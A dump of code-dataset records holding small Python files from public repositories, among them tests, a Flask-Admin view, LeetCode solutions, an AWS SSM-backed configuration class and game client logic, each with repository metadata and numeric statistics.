galaxy-genome-annotation/python-apollo
|
1257e050ee3fc0a7f7ab8a8c780aefee5c8143f8
|
[
"MIT"
] | 5
|
2017-06-27T19:41:57.000Z
|
2021-06-05T13:36:11.000Z
|
arrow/__init__.py
|
galaxy-genome-annotation/python-apollo
|
1257e050ee3fc0a7f7ab8a8c780aefee5c8143f8
|
[
"MIT"
] | 28
|
2017-07-24T15:10:37.000Z
|
2021-09-03T11:56:35.000Z
|
arrow/__init__.py
|
galaxy-genome-annotation/python-apollo
|
1257e050ee3fc0a7f7ab8a8c780aefee5c8143f8
|
[
"MIT"
] | 10
|
2017-05-10T19:13:44.000Z
|
2021-08-09T04:52:33.000Z
|
__version__ = '4.2.13'
| 11.5
| 22
| 0.652174
| 4
| 23
| 2.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0.130435
| 23
| 1
| 23
| 23
| 0.35
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
aa3604753b41cc5a0cab774f98f89109af994931
| 332
|
py
|
Python
|
tests/plantcv/visualize/test_colorize_label_img.py
|
ygarrot/plantcv
|
e934a891e0d1bf8987ca6a9f982a4ac1f420bfe7
|
[
"MIT"
] | 1
|
2022-02-03T12:08:59.000Z
|
2022-02-03T12:08:59.000Z
|
tests/plantcv/visualize/test_colorize_label_img.py
|
HUISTENCOFFEE/plantcv
|
f38f7de53663522eb770870b70823d5fc46d0c0f
|
[
"MIT"
] | null | null | null |
tests/plantcv/visualize/test_colorize_label_img.py
|
HUISTENCOFFEE/plantcv
|
f38f7de53663522eb770870b70823d5fc46d0c0f
|
[
"MIT"
] | null | null | null |
import numpy as np
from plantcv.plantcv.visualize import colorize_label_img
def test_colorize_label_img():
"""Test for PlantCV."""
label_img = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])
colored_img = colorize_label_img(label_img)
assert (colored_img.shape[0:-1] == label_img.shape) and colored_img.shape[-1] == 3
| 33.2
| 86
| 0.686747
| 55
| 332
| 3.909091
| 0.509091
| 0.223256
| 0.223256
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.046595
| 0.159639
| 332
| 9
| 87
| 36.888889
| 0.724014
| 0.051205
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
aa3ab5713d31f14c6a24991f6f77843e3a14c2b7
| 471
|
py
|
Python
|
app/admin/daq_admin.py
|
quanpower/sitp
|
082f244dd35c5e881b332a624d4808f3e9e81a96
|
[
"Apache-2.0"
] | null | null | null |
app/admin/daq_admin.py
|
quanpower/sitp
|
082f244dd35c5e881b332a624d4808f3e9e81a96
|
[
"Apache-2.0"
] | 4
|
2020-03-24T15:46:19.000Z
|
2022-03-08T21:09:16.000Z
|
app/admin/daq_admin.py
|
quanpower/sitp
|
082f244dd35c5e881b332a624d4808f3e9e81a96
|
[
"Apache-2.0"
] | null | null | null |
from flask_admin import Admin, BaseView, expose
from flask_admin.contrib.sqla import ModelView
from app.models import Temperature
import flask_login as login
class TemperatureModelView(ModelView):
def __init__(self, session, **kwargs):
# You can pass name and other parameters if you want to
super(TemperatureModelView, self).__init__(Temperature, session, **kwargs)
def is_accessible(self):
return login.current_user.is_authenticated
| 31.4
| 82
| 0.764331
| 60
| 471
| 5.766667
| 0.633333
| 0.052023
| 0.080925
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.169851
| 471
| 14
| 83
| 33.642857
| 0.88491
| 0.112527
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.444444
| 0.111111
| 0.888889
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
aa434eeae23a6a8cbf5fe3b603a79be5b0733f85
| 414
|
py
|
Python
|
problems/191.Number_of_1_Bits/li.py
|
subramp-prep/leetcode
|
d125201d9021ab9b1eea5e5393c2db4edd84e740
|
[
"Unlicense"
] | null | null | null |
problems/191.Number_of_1_Bits/li.py
|
subramp-prep/leetcode
|
d125201d9021ab9b1eea5e5393c2db4edd84e740
|
[
"Unlicense"
] | null | null | null |
problems/191.Number_of_1_Bits/li.py
|
subramp-prep/leetcode
|
d125201d9021ab9b1eea5e5393c2db4edd84e740
|
[
"Unlicense"
] | null | null | null |
class Solution(object):
def hammingWeight(self, n):
"""
:type n: int
:rtype: int
"""
res = 0
while n:
res += 1
n &= (n-1)
return res
def hammingWeight(self, n):
for i in range(33):
if not n: return i
n &= (n - 1)
# cheat
def hammingWeight(self, n):
return bin(n).count('1')
| 18
| 32
| 0.42029
| 50
| 414
| 3.48
| 0.5
| 0.275862
| 0.344828
| 0.362069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031111
| 0.456522
| 414
| 22
| 33
| 18.818182
| 0.742222
| 0.074879
| 0
| 0.384615
| 0
| 0
| 0.002865
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.230769
| false
| 0
| 0
| 0.076923
| 0.461538
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a4b9b34ae81930787322075904aa3296c4fefb23
| 1,427
|
py
|
Python
|
cursors/coords.py
|
Jonas164/PSpaMM
|
4941a14d6db03117c68d735c4fa78f66f327af2d
|
[
"BSD-3-Clause"
] | null | null | null |
cursors/coords.py
|
Jonas164/PSpaMM
|
4941a14d6db03117c68d735c4fa78f66f327af2d
|
[
"BSD-3-Clause"
] | null | null | null |
cursors/coords.py
|
Jonas164/PSpaMM
|
4941a14d6db03117c68d735c4fa78f66f327af2d
|
[
"BSD-3-Clause"
] | 2
|
2020-12-09T12:46:58.000Z
|
2021-07-13T10:56:44.000Z
|
from collections import namedtuple
# The relationship between blocks and cells has become too complicated to
# safely bake into a coordinate system. The semantics has been moved to the
# cursor movement commands. A NewCoords object may represent a logical cell,
# a logical block start, or a physical block start depending on context.
# We are including a {relative|absolute} flag in order to reduce the number of methods.
C = namedtuple('C', 'down right absolute')
C.__new__.__defaults__ = (0, 0, False)
class Coords(C):
def copy(self):
return Coords(self.down, self.right, self.absolute)
def __add__(self, other):
absolute = self.absolute | other.absolute
return Coords(self.down+other.down, self.right+other.right, absolute)
def __sub__(self, other):
absolute = self.absolute != other.absolute # TODO: What is the math behind this?
return Coords(self.down-other.down, self.right-other.right, absolute)
def __neg__(self, other):
return Coords(-self.down, -self.right, self.absolute)
def __eq__(self, other):
return self.down == other.down and \
self.right == other.right and \
self.absolute == other.absolute
def __repr__(self):
if self.absolute:
absolute = ", absolute"
else:
absolute = ""
return "(d={},r={}{})".format(self.down, self.right,absolute)
| 37.552632
| 89
| 0.665032
| 189
| 1,427
| 4.873016
| 0.433862
| 0.052117
| 0.070575
| 0.086862
| 0.314875
| 0.314875
| 0.314875
| 0.22367
| 0.22367
| 0.128122
| 0
| 0.001826
| 0.232656
| 1,427
| 38
| 90
| 37.552632
| 0.839269
| 0.289418
| 0
| 0
| 0
| 0
| 0.042659
| 0
| 0
| 0
| 0
| 0.026316
| 0
| 1
| 0.25
| false
| 0
| 0.041667
| 0.125
| 0.583333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
a4c89ea15ba64b8b6f264c35fcaeb76de5ace39c
| 6,496
|
py
|
Python
|
reinvent-2019/connected-photo-booth/py_client/config.py
|
chriscoombs/aws-builders-fair-projects
|
eee405931030b833fa8c51e906c73d09ce051bcd
|
[
"Apache-2.0"
] | null | null | null |
reinvent-2019/connected-photo-booth/py_client/config.py
|
chriscoombs/aws-builders-fair-projects
|
eee405931030b833fa8c51e906c73d09ce051bcd
|
[
"Apache-2.0"
] | null | null | null |
reinvent-2019/connected-photo-booth/py_client/config.py
|
chriscoombs/aws-builders-fair-projects
|
eee405931030b833fa8c51e906c73d09ce051bcd
|
[
"Apache-2.0"
] | null | null | null |
import boto3
import botocore
import os
import glob
import json
import requests
from datetime import datetime
from time import sleep
from time import gmtime, strftime
import sys, getopt
import argparse
import subprocess
from shutil import copyfile, rmtree
import logging
import configparser
__CONFIG_FILE_PATH__ = "cerebro.config"
__SSM_BASE_PATH__ = "/Cerebro"
class Configuration(object):
def __init__(self,config_file=__CONFIG_FILE_PATH__):
self.config_file = config_file
self.config_parser = configparser.ConfigParser()
self.config_parser.read(self.config_file)
self.get_config_entries()
self._ssm = boto3.client('ssm')
def get_config_entries(self):
self.config_entries = {}
for section in self.config_parser.sections():
#print("Section: %s" % section)
for item in self.config_parser.items(section):
#print("Item: ")
#print(item)
#print(item[0], item[1])
param_name = item[0].upper()
param_value = "%s/%s/%s" % (__SSM_BASE_PATH__, section, item[1])
param_dict = {param_name:param_value}
#print(param_dict)
self.config_entries.update(param_dict)
return True
def getConfig(self, configEntry):
if configEntry not in self.config_entries:
return None
ssm_param_name = self.config_entries[configEntry]
#print(ssm_param_name)
response = self._ssm.get_parameter(
Name=ssm_param_name
)
#print(response)
if ("Parameter" in response) and ("Name" in response["Parameter"]) and ("Value" in response["Parameter"]):
ssm_param_value = response["Parameter"]["Value"]
#print(ssm_param_value)
else:
return None
return ssm_param_value
'''
config_entry = self.config_parser.get("Cerebro", configEntry)
print(config_entry)
if "ssm:" in config_entry:
# then this means that we need to retrieve the actual value from the SSM Param store
config_entry = "foobar"
return config_entry
'''
@property
def __QUEUE_URL__(self):
return self.getConfig("__QUEUE_URL__")
@property
def __SQS_QUEUE_NAME__(self):
return self.getConfig("__SQS_QUEUE_NAME__")
@property
def __SQS_BACKEND_QUEUE__(self):
return self.getConfig("__SQS_BACKEND_QUEUE__")
@property
def __APIGW_X_API_KEY__(self):
return self.getConfig("__APIGW_X_API_KEY__")
@property
def __APIGW_X_API_KEY_QR_CODE__(self):
return self.getConfig("__APIGW_X_API_KEY_QR_CODE__")
@property
def __APIGW_API__(self):
return self.getConfig("__APIGW_API__")
@property
def __APIGW_API_QR_CODE__(self):
return self.getConfig("__APIGW_API_QR_CODE__")
@property
def __S3_BUCKET__(self):
return self.getConfig("__S3_BUCKET__")
@property
def __CEREBRO_TEMP_DIR__(self):
return self.getConfig("__CEREBRO_TEMP_DIR__")
@property
def __CEREBRO_MEDIA_DIR__(self):
return self.getConfig("__CEREBRO_MEDIA_DIR__")
@property
def __CEREBRO_LOGS_DIR__(self):
return self.getConfig("__CEREBRO_LOGS_DIR__")
@property
def __CEREBRO_PROFILES_DIR__(self):
return self.getConfig("__CEREBRO_PROFILES_DIR__")
@property
def __CEREBRO_SYSTEM_DIR__(self):
return self.getConfig("__CEREBRO_SYSTEM_DIR__")
@property
def __IMAGE_MAX_COUNT__(self):
return int(self.getConfig("__IMAGE_MAX_COUNT__"))
@property
def __GREEN_LED__(self):
return int(self.getConfig("__GREEN_LED__"))
@property
def __GREEN_BUTTON__(self):
return int(self.getConfig("__GREEN_BUTTON__"))
@property
def __YELLOW_LED__(self):
return int(self.getConfig("__YELLOW_LED__"))
@property
def __YELLOW_BUTTON__(self):
return int(self.getConfig("__YELLOW_BUTTON__"))
@property
def __IOT_TOPIC__(self):
return self.getConfig("__IOT_TOPIC__")
@property
def __IOT_HOST__(self):
return self.getConfig("__IOT_HOST__")
@property
def __IOT_ROOT_CA_PATH__(self):
return self.getConfig("__IOT_ROOT_CA_PATH__")
@property
def __IOT_CERTIFICATE_PATH__(self):
return self.getConfig("__IOT_CERTIFICATE_PATH__")
@property
def __IOT_PRIVATE_KEY_PATH__(self):
return self.getConfig("__IOT_PRIVATE_KEY_PATH__")
@property
def __IOT_CLIENT_ID_REQUESTER__(self):
return self.getConfig("__IOT_CLIENT_ID_REQUESTER__")
@property
def __IOT_CLIENT_ID_PROCESSOR__(self):
return self.getConfig("__IOT_CLIENT_ID_PROCESSOR__")
@property
def __CEREBRO_AUDIO_DIR__(self):
return self.getConfig("__CEREBRO_AUDIO_DIR__")
@property
def __PUSHBUTTON_DELAY__(self):
return int(self.getConfig("__PUSHBUTTON_DELAY__"))
@property
def __S3_BUCKET__(self):
return self.getConfig("__S3_BUCKET__")
@property
def __ACCEPT_INPUT__(self):
return int(self.getConfig("__ACCEPT_INPUT__"))
@property
def __CHOOSE_AGAIN__(self):
return int(self.getConfig("__CHOOSE_AGAIN__"))
@property
def __CADENCE__(self):
return int(self.getConfig("__CADENCE__"))
@property
def __DDB_TABLE__(self):
return self.getConfig("__DDB_TABLE__")
@property
def __PRINTER_TYPE__(self):
return self.getConfig("__PRINTER_TYPE__")
@property
def __FILTERED_IMAGE_NAME__(self):
return self.getConfig("__FILTERED_IMAGE_NAME__")
@property
def __PIG_NOSE_FILTER__(self):
return self.getConfig("__PIG_NOSE_FILTER__")
@property
def __FLOWER_CROWN_FILTER__(self):
return self.getConfig("__FLOWER_CROWN_FILTER__")
@property
def __EYE_MASK_FILTER__(self):
return self.getConfig("__EYE_MASK_FILTER__")
@property
def __DOG_NOSE_FILTER__(self):
return self.getConfig("__DOG_NOSE_FILTER__")
@property
def __DOG_LEFT_EAR_FILTER__(self):
return self.getConfig("__DOG_LEFT_EAR_FILTER__")
@property
def __DOG_RIGHT_EAR_FILTER__(self):
return self.getConfig("__DOG_RIGHT_EAR_FILTER__")
@property
def __DOG_TONGUE_FILTER__(self):
return self.getConfig("__DOG_TONGUE_FILTER__")
| 26.406504
| 114
| 0.671952
| 749
| 6,496
| 5.090788
| 0.188251
| 0.11828
| 0.117493
| 0.193024
| 0.380278
| 0.259376
| 0.097036
| 0.050354
| 0.031996
| 0.031996
| 0
| 0.002021
| 0.238454
| 6,496
| 245
| 115
| 26.514286
| 0.768749
| 0.023707
| 0
| 0.279762
| 0
| 0
| 0.142643
| 0.062012
| 0
| 0
| 0
| 0
| 0
| 1
| 0.261905
| false
| 0
| 0.089286
| 0.244048
| 0.625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
a4f4cc7885a15a585587ac425f24ba1f7aec8ca1
| 3,560
|
py
|
Python
|
src/components/client/logica/logica_client.py
|
adp1002/practica-dms-2019-2020
|
9ae0c71140d537bb43c0f8ec8a81b8fff38dec21
|
[
"MIT"
] | null | null | null |
src/components/client/logica/logica_client.py
|
adp1002/practica-dms-2019-2020
|
9ae0c71140d537bb43c0f8ec8a81b8fff38dec21
|
[
"MIT"
] | null | null | null |
src/components/client/logica/logica_client.py
|
adp1002/practica-dms-2019-2020
|
9ae0c71140d537bb43c0f8ec8a81b8fff38dec21
|
[
"MIT"
] | null | null | null |
from conexiones.auth_client import AuthClient
from conexiones.hub_client import HubClient
from conexiones.game_client import GameClient
"""
Clase LogicaCliente es un clase con metodos estaticos.
Es la clase que lleva la logica y la que se comunica con la capa de datos.
"""
class LogicaCliente:
""" Registra al usuario actual en el servidor
---
Parameters:
- username: Nombre del usuario a registrar
- password: Contraseña del usuario a registrar
Returns:
True si el jugador se ha registrado correctamente, si no, False.
"""
@staticmethod
def registrar_usuario(username,password):
return AuthClient.instance().registrar(username,password)
""" Loguea al usuario actual
---
Parameters:
- username: Nombre del usuario a loguear
- password: Contraseña del usuario a loguear
Returns:
El token de validacion del usuario en caso de que se haya logueado corectamente, si no, None.
"""
@staticmethod
def loguear_usuario(username,password):
token = AuthClient.instance().login(username,password)
return token
""" Obtiene la lista de servidores
---
Returns:
Un array con la información del servidor escogido
"""
@staticmethod
def obtener_servidores(token):
return HubClient.instance().get_servers(token)
""" Registra al usuario del token en el servidor pasado por parametro
---
Parameters:
- token: El token del usuario que realiza la petición
- servidor_seleccionado: El servidor seleccionado para registrar al usuario
Returns:
El servidor de juego en el que se ha registrado el jugador, None si ha surgido un error.
"""
@staticmethod
def registrarse_en_servidor(token,servidor_seleccionado):
servidor_de_juego = GameClient(servidor_seleccionado['host'],servidor_seleccionado['port'])
if((servidor_de_juego is None) or (not servidor_de_juego.registrar_usuario_en_servidor(token))):
print('\nHa ocurrido un error al intentar entrar al servidor. Intenta probar en un nuevo servidor.\n')
return None
else:
return servidor_de_juego
""" Mantiene el curso de la partida de un jugador
---
Parameters:
- token: El token del usuario que va a jugar
- servidor_seleccionado: el servidor seleccionado en el que va a jugando el usuario
- x: Coordenada X donde poner la pieza
- token: Coordenda Y donde poner la pieza
Returns:
El servidor de juego en el que se ha registrado el jugador, None si ha surgido un error.
"""
@staticmethod
def realizar_jugada(token,servidor_de_juego,x,y):
se_ha_realizado_jugada = servidor_de_juego.jugar(token,x,y)
return se_ha_realizado_jugada
""" Manda la señal de que el usuario ha finalizado la partida
---
Parameters:
- token: El token del usuario que va a jugar
- servidor_seleccionado: el servidor seleccionado en el que va a jugando el usuario
Returns:
True si el servidor ha recibido la petición, si no, False.
"""
@staticmethod
def finalizar_partida(token,servidor_seleccionado):
return servidor_seleccionado.finalizar_partida(token)
""" Obtiene el score actual
---
Returns:
El score actual
"""
@staticmethod
def get_score():
return AuthClient.instance().get_score()
| 34.901961
| 115
| 0.665169
| 437
| 3,560
| 5.320366
| 0.281465
| 0.094624
| 0.051613
| 0.028387
| 0.282581
| 0.218925
| 0.188817
| 0.173763
| 0.173763
| 0.173763
| 0
| 0
| 0.271348
| 3,560
| 102
| 116
| 34.901961
| 0.896299
| 0.065449
| 0
| 0.21875
| 0
| 0
| 0.068801
| 0
| 0
| 0
| 0
| 0.009804
| 0
| 1
| 0.21875
| false
| 0.125
| 0.09375
| 0.125
| 0.59375
| 0.03125
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
a4f8c498ac79bb7c4f62a12a791b6d722f785086
| 267
|
py
|
Python
|
backend/dynamicanalysis/codecoverage/serializers.py
|
IsmatAl/thesisProject
|
1134ae3727d489f606e99625b14897a766409b73
|
[
"Apache-2.0"
] | 1
|
2021-07-03T16:44:18.000Z
|
2021-07-03T16:44:18.000Z
|
backend/dynamicanalysis/codecoverage/serializers.py
|
IsmatAl/thesisProject
|
1134ae3727d489f606e99625b14897a766409b73
|
[
"Apache-2.0"
] | null | null | null |
backend/dynamicanalysis/codecoverage/serializers.py
|
IsmatAl/thesisProject
|
1134ae3727d489f606e99625b14897a766409b73
|
[
"Apache-2.0"
] | null | null | null |
from rest_framework import serializers
class CodeCoverageSerializer(serializers.Serializer):
entry = serializers.CharField()
# id = serializers.CharField()
# inputs = serializers.ListField()
# expectedOutputs = serializers.ListField(required=False)
| 29.666667
| 61
| 0.764045
| 23
| 267
| 8.826087
| 0.695652
| 0.197044
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146067
| 267
| 8
| 62
| 33.375
| 0.890351
| 0.438202
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
a4faaf198608f9edc4e9ccfccf1245286f8062a9
| 3,300
|
py
|
Python
|
z2/part3/updated_part2_batch/jm/parser_errors_2/507857314.py
|
kozakusek/ipp-2020-testy
|
09aa008fa53d159672cc7cbf969a6b237e15a7b8
|
[
"MIT"
] | 1
|
2020-04-16T12:13:47.000Z
|
2020-04-16T12:13:47.000Z
|
z2/part3/updated_part2_batch/jm/parser_errors_2/507857314.py
|
kozakusek/ipp-2020-testy
|
09aa008fa53d159672cc7cbf969a6b237e15a7b8
|
[
"MIT"
] | 18
|
2020-03-06T17:50:15.000Z
|
2020-05-19T14:58:30.000Z
|
z2/part3/updated_part2_batch/jm/parser_errors_2/507857314.py
|
kozakusek/ipp-2020-testy
|
09aa008fa53d159672cc7cbf969a6b237e15a7b8
|
[
"MIT"
] | 18
|
2020-03-06T17:45:13.000Z
|
2020-06-09T19:18:31.000Z
|
from part1 import (
gamma_board,
gamma_busy_fields,
gamma_delete,
gamma_free_fields,
gamma_golden_move,
gamma_golden_possible,
gamma_move,
gamma_new,
)
"""
scenario: test_random_actions
uuid: 507857314
"""
"""
random actions, total chaos
"""
board = gamma_new(5, 4, 4, 3)
assert board is not None
assert gamma_move(board, 1, 3, 1) == 1
assert gamma_move(board, 2, 2, 4) == 0
assert gamma_move(board, 2, 1, 0) == 1
board295535068 = gamma_board(board)
assert board295535068 is not None
assert board295535068 == (".....\n"
".....\n"
"...1.\n"
".2...\n")
del board295535068
board295535068 = None
assert gamma_move(board, 3, 4, 0) == 1
assert gamma_move(board, 4, 3, 2) == 1
assert gamma_golden_possible(board, 4) == 1
assert gamma_move(board, 1, 3, 1) == 0
assert gamma_free_fields(board, 1) == 16
assert gamma_golden_possible(board, 2) == 1
assert gamma_move(board, 3, 3, 3) == 1
assert gamma_golden_possible(board, 4) == 1
assert gamma_move(board, 1, 2, 4) == 0
assert gamma_move(board, 1, 2, 2) == 1
assert gamma_move(board, 2, 1, 4) == 0
assert gamma_move(board, 2, 3, 3) == 0
assert gamma_move(board, 3, 0, 0) == 1
assert gamma_move(board, 3, 3, 0) == 1
board993913590 = gamma_board(board)
assert board993913590 is not None
assert board993913590 == ("...3.\n"
"..14.\n"
"...1.\n"
"32.33\n")
del board993913590
board993913590 = None
assert gamma_move(board, 4, 1, 4) == 0
assert gamma_move(board, 1, 3, 1) == 0
assert gamma_move(board, 2, 3, 1) == 0
assert gamma_move(board, 3, 1, 0) == 0
assert gamma_move(board, 4, 3, 1) == 0
assert gamma_move(board, 4, 4, 3) == 1
assert gamma_move(board, 1, 3, 3) == 0
assert gamma_move(board, 2, 0, 2) == 1
board946766181 = gamma_board(board)
assert board946766181 is not None
assert board946766181 == ("...34\n"
"2.14.\n"
"...1.\n"
"32.33\n")
del board946766181
board946766181 = None
assert gamma_move(board, 3, 4, 1) == 1
assert gamma_move(board, 4, 4, 2) == 1
assert gamma_move(board, 1, 3, 3) == 0
assert gamma_free_fields(board, 1) == 8
assert gamma_move(board, 2, 2, 2) == 0
assert gamma_move(board, 3, 0, 2) == 0
assert gamma_move(board, 4, 2, 3) == 1
assert gamma_move(board, 1, 1, 0) == 0
assert gamma_move(board, 2, 2, 1) == 1
assert gamma_move(board, 2, 0, 2) == 0
assert gamma_move(board, 3, 4, 0) == 0
assert gamma_move(board, 3, 0, 2) == 0
assert gamma_move(board, 4, 0, 0) == 0
assert gamma_golden_move(board, 4, 0, 0) == 1
assert gamma_move(board, 1, 2, 1) == 0
assert gamma_golden_move(board, 1, 0, 4) == 0
assert gamma_move(board, 2, 2, 1) == 0
assert gamma_move(board, 3, 4, 2) == 0
assert gamma_busy_fields(board, 4) == 5
assert gamma_move(board, 1, 1, 0) == 0
assert gamma_free_fields(board, 1) == 6
assert gamma_move(board, 2, 2, 1) == 0
assert gamma_move(board, 2, 0, 2) == 0
assert gamma_golden_possible(board, 2) == 1
assert gamma_move(board, 3, 1, 1) == 1
assert gamma_golden_move(board, 3, 0, 4) == 0
assert gamma_move(board, 4, 1, 0) == 0
assert gamma_move(board, 4, 2, 2) == 0
assert gamma_move(board, 1, 1, 0) == 0
assert gamma_move(board, 1, 2, 2) == 0
assert gamma_move(board, 2, 1, 1) == 0
assert gamma_move(board, 3, 3, 1) == 0
assert gamma_move(board, 3, 1, 0) == 0
assert gamma_move(board, 4, 0, 1) == 1
gamma_delete(board)
| 28.695652
| 46
| 0.658788
| 585
| 3,300
| 3.564103
| 0.073504
| 0.311271
| 0.345324
| 0.460432
| 0.708873
| 0.691127
| 0.609592
| 0.415348
| 0.370743
| 0.370743
| 0
| 0.144231
| 0.180606
| 3,300
| 114
| 47
| 28.947368
| 0.626849
| 0
| 0
| 0.25
| 0
| 0
| 0.026152
| 0
| 0
| 0
| 0
| 0
| 0.6875
| 1
| 0
| false
| 0
| 0.010417
| 0
| 0.010417
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
350ab29d99cc59e572eb6ccbaca5d0a2e6b4cab3
| 220
|
py
|
Python
|
testing/slices.py
|
aheadley/pynemap
|
f2aa373e7c43755ce73c0a60110b609018cd2dcb
|
[
"MIT"
] | 6
|
2015-10-15T08:28:19.000Z
|
2021-11-17T23:02:02.000Z
|
testing/slices.py
|
aheadley/pynemap
|
f2aa373e7c43755ce73c0a60110b609018cd2dcb
|
[
"MIT"
] | null | null | null |
testing/slices.py
|
aheadley/pynemap
|
f2aa373e7c43755ce73c0a60110b609018cd2dcb
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
import numpy
import nbt
blocks = numpy.fromstring(nbt.NBTFile('/home/aheadley/.minecraft/saves/World1/0/0/c.0.0.dat','rb')['Level']['Blocks'].value, dtype=numpy.uint8).reshape(16,16,128)
print blocks
| 27.5
| 162
| 0.731818
| 36
| 220
| 4.472222
| 0.722222
| 0.024845
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.062802
| 0.059091
| 220
| 7
| 163
| 31.428571
| 0.714976
| 0.072727
| 0
| 0
| 0
| 0.25
| 0.320197
| 0.256158
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.5
| null | null | 0.25
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
3513092c9bf86ec661f011c1fc0cce874d87f4b7
| 223
|
py
|
Python
|
python/hard_python/guess/method.py
|
ii6uu99/ipynb
|
d924a6926838ca5e563620cd324368a07d2c2521
|
[
"MIT"
] | 1
|
2021-01-27T09:01:33.000Z
|
2021-01-27T09:01:33.000Z
|
python/hard_python/guess/method.py
|
ii6uu99/ipynb
|
d924a6926838ca5e563620cd324368a07d2c2521
|
[
"MIT"
] | null | null | null |
python/hard_python/guess/method.py
|
ii6uu99/ipynb
|
d924a6926838ca5e563620cd324368a07d2c2521
|
[
"MIT"
] | 1
|
2021-01-26T13:22:21.000Z
|
2021-01-26T13:22:21.000Z
|
#引入模块
# import method2
# method2.a
# method2.f1()
# import method2 as m2
# m2.a
# m2.f1()
# from method2 import f1
# f1()
# from method2 import f1 as func1
# func1()
from method2 import *
f1()
f2()
print(a)
| 6.96875
| 33
| 0.61435
| 34
| 223
| 4.029412
| 0.323529
| 0.240876
| 0.372263
| 0.416058
| 0.306569
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113772
| 0.251121
| 223
| 31
| 34
| 7.193548
| 0.706587
| 0.64574
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.25
| 0
| 0.25
| 0.25
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
351c290975642794a8ae565c249dd3371ea5bd7c
| 92
|
py
|
Python
|
choice/apps.py
|
prayogateguh/smk-quiz
|
e3651ba140eb884f604ab398f966f635210ee8dc
|
[
"MIT"
] | null | null | null |
